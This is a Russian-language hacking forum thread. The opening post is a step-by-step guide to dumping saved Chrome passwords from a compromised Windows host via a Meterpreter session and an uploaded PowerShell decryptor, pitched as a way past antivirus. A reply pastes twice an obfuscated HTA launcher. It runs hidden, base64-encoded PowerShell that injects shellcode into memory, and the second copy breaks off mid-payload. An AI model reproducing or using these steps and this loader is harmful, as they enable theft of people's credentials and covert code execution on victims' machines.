Dump Chrome Passwords

OneDollar · 29.11.2017

Всем привет! Думаю каждый сталкивался с такой проблемой, когда нужно взять пассы, но тот же метерпретер по каким-то причинам не справляется с этой задачей. Обычные стилаки типа LaZagne убиваются антивирусами, на приватные стиллеры нет денег, либо есть деньги, но нет надежных людей. При конвертировании питоновских файлов какие-то ошибки. Все бесит, нервы сдают, но выход есть всегда и сегодня - это изъятия пассов с помощью powershell скрипта.

Статья написана в дополнении к этой статье.
Инструмент предназначен для дампа паролей из ОС Windows, Browser Google Chrome

Атакующая машина : Kali linux 2017.3
Атакуемая машина : Windows Server 2012 R2 (EN)

Источник: https://github.com/p0z/CPD

Что нужно ?
1. Естественно получить агента ( сессию ) куда угодно: Empire, Meterpreter . В моем случае этот будет Метерпретер

2. Мигрировать в explorer! Создать на диске каталог и закинуть туда наши 2 файла.

Migrate:

Код:

pgrep explorer pid - ваш explorer migrate pid

Создание каталога:

Код:

mkdir Pass cd Pass

Загрузка файлов в созданный каталог (test):

Код:

upload путь к файлу на диске upload /root/CPD/Chrome_Passwords_Decryptor.ps1 upload /root/CPD/System.Data.SQLite.dll

3. Потереть ручки и выполнить следующую команду:

Код:

powershell -file Chrome_Passwords_Decryptor.ps1

Отлично, на выходе получаем вот это :

Prof1t!

P.S. Если не мигрировать, то пассов Вам не видать.

Я бы даже выделил следующие преимущества:

Просто в исполнении.
Отрабатывает быстро в отличии от того же модуля в метерпретер, который подтягивает куки, историю и тд..
Не требует закрытие процесса Хром в отличии от модуля в Empire.

P.S. протестировал только на одной машине в связи с тем, что статью писать начал, а другой винды под рукой не оказалось. Уже решил дописать так. Завтра протестирую допустим на win 10 и поделюсь результатами!

Вот такой получился лайтовый гайд. Всем спасибо за внимание и до новых встреч !

gravitywaves · 04.12.2017

OneDollar сказал(а):

x64 shell C:\Windows\syswow64\Windowspowershell\v1.0\powershell Set-ExecutionPolicy BYPASS

Нажмите, чтобы раскрыть...

OneDollar сказал(а):
[/B][/B] x32 shell C:\Windows\System32\WindowsPowerShell\v1.0\powershell Set-ExecutionPolicy BYPASS

А этот код куда вписывать? в powershell исполняемый файл?
Вот есть файл launcher.hta от unicorn'а, я насколько понял он криптован немного, в нём этот код вписать после "RdsbdhCowoygthnIJqa.run(" ?

Код:

<script>
ZHKBzCTkRgQQjQc = "WS";
IuyHxSSJazrET = "crip";
SDbnOJaHpCcm = "t.Sh";
LiCPliQIlfi = "ell";
IldWtaJzxjXA = (ZHKBzCTkRgQQjQc + IuyHxSSJazrET + SDbnOJaHpCcm + LiCPliQIlfi);
RdsbdhCowoygthnIJqa=new ActiveXObject(IldWtaJzxjXA);
uzbZRTiTKrBOmddtJoxuLNRhYYI = "cm";
UgAZvMvAIxmZVdq = "d.e";
rxROKfRJfwXefqhUaj = "xe";
zIIAGljUTFWqMU = (uzbZRTiTKrBOmddtJoxuLNRhYYI + UgAZvMvAIxmZVdq + rxROKfRJfwXefqhUaj);
RdsbdhCowoygthnIJqa.run('%windir%\\System32\\' + zIIAGljUTFWqMU + ' /c powershell -w 1 -C "s\'\'v ul -;s\'\'v mA e\'\'c;s\'\'v YD ((g\'\'v ul).value.toString()+(g\'\'v mA).value.toString());powershell (g\'\'v YD).value.toString() (\'JABXAFUAUwAgAD0AIAAnACQAVwBVACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQATQBMACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAVwBVACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAEEAcgAgAD0AIAAwAHgAZABhACwAMAB4AGMAMgAsADAAeABiADgALAAwAHgANwA5ACwAMAB4ADYAYgAsADAAeAA0AGIALAAwAHgAMAAzACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGIALAAwAHgAMgA5ACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANQBhACwAMAB4ADMAMQAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA5ADIALAAwAHgAOQA3ACwAMAB4AGEAOQAsADAAeABmADYALAAwAHgAOQA4ACwAMAB4ADgAMAAsADAAeABhAGMALAAwAHgAZgA5ACwAMAB4ADYAMAAsADAAeAA1ADEALAAwAHgAZAAxACwAMAB4ADcAMAAsADAAeAA4ADUALAAwAHgANgAwACwAMAB4AGQAMQAsADAAeABlADcALAAwAHgAYwBlACwAMAB4AGQAMwAsADAAeABlADEALAAwAHgANgBjACwAMAB4ADgAMgAsADAAeABkAGYALAAwAHgAOABhACwAMAB4ADIAMQAsADAAeAAzADYALAAwAHgANgBiACwAMAB4AGYAZQAsADAAeABlAGQALAAwAHgAMwA5ACwAMAB4AGQAYwAsADAAeABiADUALAAwAHgAYwBiACwAMAB4ADcANAAsADAAeABkAGQALAAwAHgAZQA2ACwAMAB4ADIAOAAsADAAeAAxADcALAAwAHgANQBkACwAMAB4AGYANQAsADAAeAA3AGMALAAwAHgAZgA3ACwAMAB4ADUAYwAsADAAeAAzADYALAAwAHgANwAxACwAMAB4AGYANgAsADAAeAA5ADkALAAwAHgAMgBiACwAMAB4ADcAOAAsADAAeABhAGEALAAwAHgANwAyACwAMAB4ADIANwAsADAAeAAyAGYALAAwAHgANQBhACwAMAB4AGYANgAsADAAeAA3AGQALAAwAHgAZQBjACwAMAB4AGQAMQAsADAAeAA0ADQALAAwAHgAOQAzACwAMAB4ADcANAAsADAAeAAwADYALAAwAHgAMQBjACwAMAB4ADkAMgAsADAAeAA1ADUALAAwAHgAOQA5ACwAMAB4ADEANgAsADAAeABjAGQALAAwAHgANwA1ACwAMAB4ADEAOAAsADAAeABmAGEALAAwAHgANgA1ACwAMAB4ADMAYwAsADAAeAAwADIALAAwAHgAMQBmACwAMAB4ADQAMwAsADAAeABmADYALAAwAHgAYgA5ACwAMAB4AGUAYgAsADAAeAAzAGYALAAwAHgAMAA5ACwAMAB4ADYAYgAsADAAeAAyADIALAAwAHgAYgBmACwAMAB4AGEANgAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADMAMgAsADAAeABiADYALAAwAHgAOQAzACwAMAB4ADIAZAAsADAAeABhAGQALAAwAHgAYwBkACwAMAB4AGUAZAAsADAAeAA0AGQALAAwAHgANQAwACwAMAB4AGQANgAsADAAeAAyAGEALAAwAHgAMgBmACwAMAB4ADgAZQAsADAAeAA1ADMALAAwAHgAYQA4ACwAMAB4ADkANwAsADAAeAA0ADUALAAwAHgAYwAzACwAMAB4ADEANAAsADAAeAAyADkALAAwAHgAOAA5ACwAMAB4ADkAMgAsADAAeABkAGYALAAwAHgAMgA1ACwAMAB4ADYANgAsADAAeABkADAALAAwAHgAOAA3ACwAMAB4ADIAOQAsADAAeAA3ADkALAAwAHgAMwA1ACwAMAB4AGIAYwAsADAAeAA1ADYALAAwAHgAZgAyACwAMAB4AGIAOAAsADAAeAAxADIALAAwAHgAZABmACwAMAB4ADQAMAAsADAAeAA5AGYALAAwAHgAYgA2ACwAMAB4AGIAYgAsADAAeAAxADMALAAwAHgAYgBlACwAMAB4AGUAZgAsADAAeAA2ADEALAAwAHgAZgA1ACwAMAB4AGIAZgAsADAAeABlAGYALAAwAHgAYwA5ACwAMAB4AGEAYQAsADAAeAA2ADUALAAwAHgANgA0ACwAMAB4AGUANwAsADAAeABiAGYALAAwAHgAMQA3ACwAMAB4ADIANwAsADAAeAA2ADAALAAwAHgAMgBlACwAMAB4ADQAZAAsADAAeABhADMALAAwAHgANwAwACwAMAB4AGMANgAsADAAeABmAGEALAAwAHgAMgAyACwAMAB4ADEAZgAsADAAeAA3AGYALAAwAHgANQAxACwAMAB4AGQAYwAsADAAeAA5ADMALAAwAHgAMAA4ACwAMAB4ADcAZgAsADAAeAAxAGIALAAwAHgAZAAzACwAMAB4ADIAMgAsADAAeAA0AGUALAAwAHgAZgA4ACwAMAB4ADcAOAAsADAAeAA5AGUALAAwAHgAZQAyACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgANAA4ACwAMAB4ADMAZgAsADAAeAAwADcALAAwAHgAYQBiACwAMAB4ADIAZgAsADAAeABjADAALAAwAHgANwAyACwAMAB4ADEAOAAsADAAeAA2ADMALAAwAHgANQA1ACwAMAB4ADcAZgAsADAAeABjAGMALAAwAHgAZAAwACwAMAB4AGMAMQAsADAAeABjADQALAAwAHgAZgAzACwAMAB4AGQANgAsADAAeAAxADEALAAwAHgAZAAyACwAMAB4ADYAYwAsADAAeABkADYALAAwAHgAMQAxACwAMAB4ADIAMgAsADAAeABhADIALAAwAHgAZQA2ACwAMAB4ADcAOQAsADAAeAAxAGIALAAwAHgAOAA0ACwAMAB4ADUAYQAsADAAeAA3AGEALAAwAHgAMABiACwAMAB4ADkAYwAsADAAeAAwAGQALAAwAHgAZgAzACwAMAB4ADMANAAsADAAeAA5AGEALAAwAHgANABkACwAMAB4AGQANgAsADAAeABjADMALAAwAHgAZQA1ACwAMAB4AGUAMQAsADAAeABiADEALAAwAHgAZAAzACwAMAB4AGQAYgAsADAAeABlADUALAAwAHgAYwA2ACwAMAB4ADgAMAAsADAAeAA\'+\'0ADgALAAwAHgAYgA1ACwAMAB4ADkAMQAsADAAeAA3ADUALAAwAHgAMwA5ACwAMAB4ADUAMQAsADAAeABmADUALAAwAHgAMgBjACwAMAB4AGUAYgAsADAAeAA5AGEALAAwAHgAZgA2ACwAMAB4ADEAYgAsADAAeAA2ADUALAAwAHgAYgA2ACwAMAB4ADAAMgAsADAAeABmAGMALAAwAHgAZQAyACwAMAB4AGMANwAsADAAeAAyADAALAAwAHgAMAAyACwAMAB4AGYAMwAsADAAeAA0AGUALAAwAHgAYQA2ACwAMAB4ADYAOAAsADAAeABmADcALAAwAHgAMAAwACwAMAB4ADQAZAAsADAAeAA3ADMALAAwAHgAYQAxACwAMAB4AGMAOAAsADAAeABlADQALAAwAHgAYwBkACwAMAB4AGQAMwAsADAAeAA4AGYALAAwAHgAZgA4ACwAMAB4ADAANAAsADAAeABiADgALAAwAHgAZABjACwAMAB4ADUANQAsADAAeABmADUALAAwAHgANgA5ACwAMAB4ADgAYgAsADAAeAA3ADQALAAwAHgAZgBmACwAMAB4ADgAZAAsADAAeAAzADAALAAwAHgANwA4ACwAMAB4ADIAYQAsADAAeAAyADgALAAwAHgAMAA2ACwAMAB4AGYAMwAsADAAeABjADIALAAwAHgANQBiACwAMAB4ADAAZgAsADAAeABlAGYALAAwAHgAZQBhACwAMAB4ADkAYgAsADAAeAA2ADcALAAwAHgANQA0ACwAMAB4ADEAYQAsADAAeABhAGUALAAwAHgAOQA3ACwAMAB4AGEAYgAsADAAeAAwAGYALAAwAHgAOQBlACwAMAB4ADIAMgAsADAAeAA5ADkALAAwAHgAYwA3ACwAMAB4AGQAMQAsADAAeAA3ADgALAAwAHgAOAAzACwAMAB4ADQAMQAsADAAeABlAGQALAAwAHgANQA2ACwAMAB4AGEAZQAsADAAeAAyAGQALAAwAHgANwA5ACwAMAB4ADUAOQAsADAAeAAzAGYALAAwAHgAYQBkACwAMAB4ADcAOQAsADAAeAAzADEALAAwAHgAMwBmACwAMAB4AGEAZAAsADAAeAAzADkALAAwAHgAYwAxACwAMAB4ADYAYwAsADAAeABjADUALAAwAHgAZQAxACwAMAB4ADYANQAsADAAeABjADEALAAwAHgAZgAwACwAMAB4AGUAZAAsADAAeABiADMALAAwAHgANwA1ACwAMAB4AGEAOQAsADAAeAA0ADIALAAwAHgAYgA1ACwAMAB4ADkAZAAsADAAeAAxAGEALAAwAHgAMABkACwAMAB4AGMANQAsADAAeAA0ADEALAAwAHgAYQA0ACwAMAB4AGMAZAAsADAAeAA5ADYALAAwAHgAZAA3ACwAMAB4AGMAYwAsADAAeABkAGYALAAwAHgAOABlACwAMAB4ADUAMQAsADAAeABlAGUALAAwAHgAMQBmACwAMAB4ADcAYgAsADAAeABlADQALAAwAHgAMgBlACwAMAB4AGEAYgAsADAAeAA0ADkALAAwAHgANgBjACwAMAB4AGEAOQAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4AGYANgAsADAAeAA3ADUALAAwAHgAMgAwACwAMAB4AGYAMAAsADAAeABhADEALAAwAHgAYgA2ACwAMAB4ADkANAAsADAAeAAxADIALAAwAHgAMwA4ACwAMAB4AGMANwAsADAAeABkADQALAAwAHgAMQBjACwAMAB4ADgAYQAsADAAeAAwAGUALAAwAHgAMQA5ACwAMAB4AGMAZAAsADAAeABkAGMALAAwAHgANAA2ACwAMAB4ADYANQAsADAAeAAzAGYALAAwAHgAMgBlACwAMAB4ADgAOAAsADAAeABhADEALAAwAHgAMABiACwAMAB4ADUAMAA7ACQAVgBnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAEEAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABWAGcAIAA9ACAAJABBAHIALgBMAGUAbgBnAHQAaAB9ADsAJABTAHEAPQAkAE0ATAA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAFYAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAEYAcQA9ADAAOwAkAEYAcQAgAC0AbABlACAAKAAkAEEAcgAuAEwAZQBuAGcAdABoAC0AMQApADsAJABGAHEAKwArACkAIAB7ACQATQBMADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAUwBxAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAEYAcQApACwAIAAkAEEAcgBbACQARgBxAF0ALAAgADEAKQB9ADsAJABNAEwAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAFMAcQAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADYAMAB9ADsAJwA7ACQAVgBnAEgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAVwBVAFMAKQApADsAJABkAHgAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBpACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEEAaQAgACQAZAB4ACAAJABWAGcASAAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABkAHgAIAAkAFYAZwBIACIAOwB9AA\'+\'==\')"', 0);window.close();
</script>

[/B]

OneDollar · 04.12.2017

gravitywaves сказал(а):

А этот код куда вписывать? в powershell исполняемый файл?
Вот есть файл launcher.hta от unicorn'а, я насколько понял он криптован немного, в нём этот код вписать после "RdsbdhCowoygthnIJqa.run(" ?

Код:

<script>
ZHKBzCTkRgQQjQc = "WS";
IuyHxSSJazrET = "crip";
SDbnOJaHpCcm = "t.Sh";
LiCPliQIlfi = "ell";
IldWtaJzxjXA = (ZHKBzCTkRgQQjQc + IuyHxSSJazrET + SDbnOJaHpCcm + LiCPliQIlfi);
RdsbdhCowoygthnIJqa=new ActiveXObject(IldWtaJzxjXA);
uzbZRTiTKrBOmddtJoxuLNRhYYI = "cm";
UgAZvMvAIxmZVdq = "d.e";
rxROKfRJfwXefqhUaj = "xe";
zIIAGljUTFWqMU = (uzbZRTiTKrBOmddtJoxuLNRhYYI + UgAZvMvAIxmZVdq + rxROKfRJfwXefqhUaj);
RdsbdhCowoygthnIJqa.run('%windir%\\System32\\' + zIIAGljUTFWqMU + ' /c powershell -w 1 -C "s\'\'v ul -;s\'\'v mA e\'\'c;s\'\'v YD ((g\'\'v ul).value.toString()+(g\'\'v mA).value.toString());powershell (g\'\'v YD).value.toString() (\'JABXAFUAUwAgAD0AIAAnACQAVwBVACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQATQBMACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAVwBVACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAEEAcgAgAD0AIAAwAHgAZABhACwAMAB4AGMAMgAsADAAeABiADgALAAwAHgANwA5ACwAMAB4ADYAYgAsADAAeAA0AGIALAAwAHgAMAAzACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGIALAAwAHgAMgA5ACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANQBhACwAMAB4ADMAMQAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA5ADIALAAwAHgAOQA3ACwAMAB4AGEAOQAsADAAeABmADYALAAwAHgAOQA4ACwAMAB4ADgAMAAsADAAeABhAGMALAAwAHgAZgA5ACwAMAB4ADYAMAAsADAAeAA1ADEALAAwAHgAZAAxACwAMAB4ADcAMAAsADAAeAA4ADUALAAwAHgANgAwACwAMAB4AGQAMQAsADAAeABlADcALAAwAHgAYwBlACwAMAB4AGQAMwAsADAAeABlADEALAAwAHgANgBjACwAMAB4ADgAMgAsADAAeABkAGYALAAwAHgAOABhACwAMAB4ADIAMQAsADAAeAAzADYALAAwAHgANgBiACwAMAB4AGYAZQAsADAAeABlAGQALAAwAHgAMwA5ACwAMAB4AGQAYwAsADAAeABiADUALAAwAHgAYwBiACwAMAB4ADcANAAsADAAeABkAGQALAAwAHgAZQA2ACwAMAB4ADIAOAAsADAAeAAxADcALAAwAHgANQBkACwAMAB4AGYANQAsADAAeAA3AGMALAAwAHgAZgA3ACwAMAB4ADUAYwAsADAAeAAzADYALAAwAHgANwAxACwAMAB4AGYANgAsADAAeAA5ADkALAAwAHgAMgBiACwAMAB4ADcAOAAsADAAeABhAGEALAAwAHgANwAyACwAMAB4ADIANwAsADAAeAAyAGYALAAwAHgANQBhACwAMAB4AGYANgAsADAAeAA3AGQALAAwAHgAZQBjACwAMAB4AGQAMQAsADAAeAA0ADQALAAwAHgAOQAzACwAMAB4ADcANAAsADAAeAAwADYALAAwAHgAMQBjACwAMAB4ADkAMgAsADAAeAA1ADUALAAwAHgAOQA5ACwAMAB4ADEANgAsADAAeABjAGQALAAwAHgANwA1ACwAMAB4ADEAOAAsADAAeABmAGEALAAwAHgANgA1ACwAMAB4ADMAYwAsADAAeAAwADIALAAwAHgAMQBmACwAMAB4ADQAMwAsADAAeABmADYALAAwAHgAYgA5ACwAMAB4AGUAYgAsADAAeAAzAGYALAAwAHgAMAA5ACwAMAB4ADYAYgAsADAAeAAyADIALAAwAHgAYgBmACwAMAB4AGEANgAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADMAMgAsADAAeABiADYALAAwAHgAOQAzACwAMAB4ADIAZAAsADAAeABhAGQALAAwAHgAYwBkACwAMAB4AGUAZAAsADAAeAA0AGQALAAwAHgANQAwACwAMAB4AGQANgAsADAAeAAyAGEALAAwAHgAMgBmACwAMAB4ADgAZQAsADAAeAA1ADMALAAwAHgAYQA4ACwAMAB4ADkANwAsADAAeAA0ADUALAAwAHgAYwAzACwAMAB4ADEANAAsADAAeAAyADkALAAwAHgAOAA5ACwAMAB4ADkAMgAsADAAeABkAGYALAAwAHgAMgA1ACwAMAB4ADYANgAsADAAeABkADAALAAwAHgAOAA3ACwAMAB4ADIAOQAsADAAeAA3ADkALAAwAHgAMwA1ACwAMAB4AGIAYwAsADAAeAA1ADYALAAwAHgAZgAyACwAMAB4AGIAOAAsADAAeAAxADIALAAwAHgAZABmACwAMAB4ADQAMAAsADAAeAA5AGYALAAwAHgAYgA2ACwAMAB4AGIAYgAsADAAeAAxADMALAAwAHgAYgBlACwAMAB4AGUAZgAsADAAeAA2ADEALAAwAHgAZgA1ACwAMAB4AGIAZgAsADAAeABlAGYALAAwAHgAYwA5ACwAMAB4AGEAYQAsADAAeAA2ADUALAAwAHgANgA0ACwAMAB4AGUANwAsADAAeABiAGYALAAwAHgAMQA3ACwAMAB4ADIANwAsADAAeAA2ADAALAAwAHgAMgBlACwAMAB4ADQAZAAsADAAeABhADMALAAwAHgANwAwACwAMAB4AGMANgAsADAAeABmAGEALAAwAHgAMgAyACwAMAB4ADEAZgAsADAAeAA3AGYALAAwAHgANQAxACwAMAB4AGQAYwAsADAAeAA5ADMALAAwAHgAMAA4ACwAMAB4ADcAZgAsADAAeAAxAGIALAAwAHgAZAAzACwAMAB4ADIAMgAsADAAeAA0AGUALAAwAHgAZgA4ACwAMAB4ADcAOAAsADAAeAA5AGUALAAwAHgAZQAyACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgANAA4ACwAMAB4ADMAZgAsADAAeAAwADcALAAwAHgAYQBiACwAMAB4ADIAZgAsADAAeABjADAALAAwAHgANwAyACwAMAB4ADEAOAAsADAAeAA2ADMALAAwAHgANQA1ACwAMAB4ADcAZgAsADAAeABjAGMALAAwAHgAZAAwACwAMAB4AGMAMQAsADAAeABjADQALAAwAHgAZgAzACwAMAB4AGQANgAsADAAeAAxADEALAAwAHgAZAAyACwAMAB4ADYAYwAsADAAeABkADYALAAwAHgAMQAxACwAMAB4ADIAMgAsADAAeABhADIALAAwAHgAZQA2ACwAMAB4ADcAOQAsADAAeAAxAGIALAAwAHgAOAA0ACwAMAB4ADUAYQAsADAAeAA3AGEALAAwAHgAMABiACwAMAB4ADkAYwAsADAAeAAwAGQALAAwAHgAZgAzACwAMAB4ADMANAAsADAAeAA5AGEALAAwAHgANABkACwAMAB4AGQANgAsADAAeABjADMALAAwAHgAZQA1ACwAMAB4AGUAMQAsADAAeABiADEALAAwAHgAZAAzACwAMAB4AGQAYgAsADAAeABlADUALAAwAHgAYwA2ACwAMAB4ADgAMAAsADAAeAA\'+\'0ADgALAAwAHgAYgA1ACwAMAB4ADkAMQAsADAAeAA3ADUALAAwAHgAMwA5ACwAMAB4ADUAMQAsADAAeABmADUALAAwAHgAMgBjACwAMAB4AGUAYgAsADAAeAA5AGEALAAwAHgAZgA2ACwAMAB4ADEAYgAsADAAeAA2ADUALAAwAHgAYgA2ACwAMAB4ADAAMgAsADAAeABmAGMALAAwAHgAZQAyACwAMAB4AGMANwAsADAAeAAyADAALAAwAHgAMAAyACwAMAB4AGYAMwAsADAAeAA0AGUALAAwAHgAYQA2ACwAMAB4ADYAOAAsADAAeABmADcALAAwAHgAMAAwACwAMAB4ADQAZAAsADAAeAA3ADMALAAwAHgAYQAxACwAMAB4AGMAOAAsADAAeABlADQALAAwAHgAYwBkACwAMAB4AGQAMwAsADAAeAA4AGYALAAwAHgAZgA4ACwAMAB4ADAANAAsADAAeABiADgALAAwAHgAZABjACwAMAB4ADUANQAsADAAeABmADUALAAwAHgANgA5ACwAMAB4ADgAYgAsADAAeAA3ADQALAAwAHgAZgBmACwAMAB4ADgAZAAsADAAeAAzADAALAAwAHgANwA4ACwAMAB4ADIAYQAsADAAeAAyADgALAAwAHgAMAA2ACwAMAB4AGYAMwAsADAAeABjADIALAAwAHgANQBiACwAMAB4ADAAZgAsADAAeABlAGYALAAwAHgAZQBhACwAMAB4ADkAYgAsADAAeAA2ADcALAAwAHgANQA0ACwAMAB4ADEAYQAsADAAeABhAGUALAAwAHgAOQA3ACwAMAB4AGEAYgAsADAAeAAwAGYALAAwAHgAOQBlACwAMAB4ADIAMgAsADAAeAA5ADkALAAwAHgAYwA3ACwAMAB4AGQAMQAsADAAeAA3ADgALAAwAHgAOAAzACwAMAB4ADQAMQAsADAAeABlAGQALAAwAHgANQA2ACwAMAB4AGEAZQAsADAAeAAyAGQALAAwAHgANwA5ACwAMAB4ADUAOQAsADAAeAAzAGYALAAwAHgAYQBkACwAMAB4ADcAOQAsADAAeAAzADEALAAwAHgAMwBmACwAMAB4AGEAZAAsADAAeAAzADkALAAwAHgAYwAxACwAMAB4ADYAYwAsADAAeABjADUALAAwAHgAZQAxACwAMAB4ADYANQAsADAAeABjADEALAAwAHgAZgAwACwAMAB4AGUAZAAsADAAeABiADMALAAwAHgANwA1ACwAMAB4AGEAOQAsADAAeAA0ADIALAAwAHgAYgA1ACwAMAB4ADkAZAAsADAA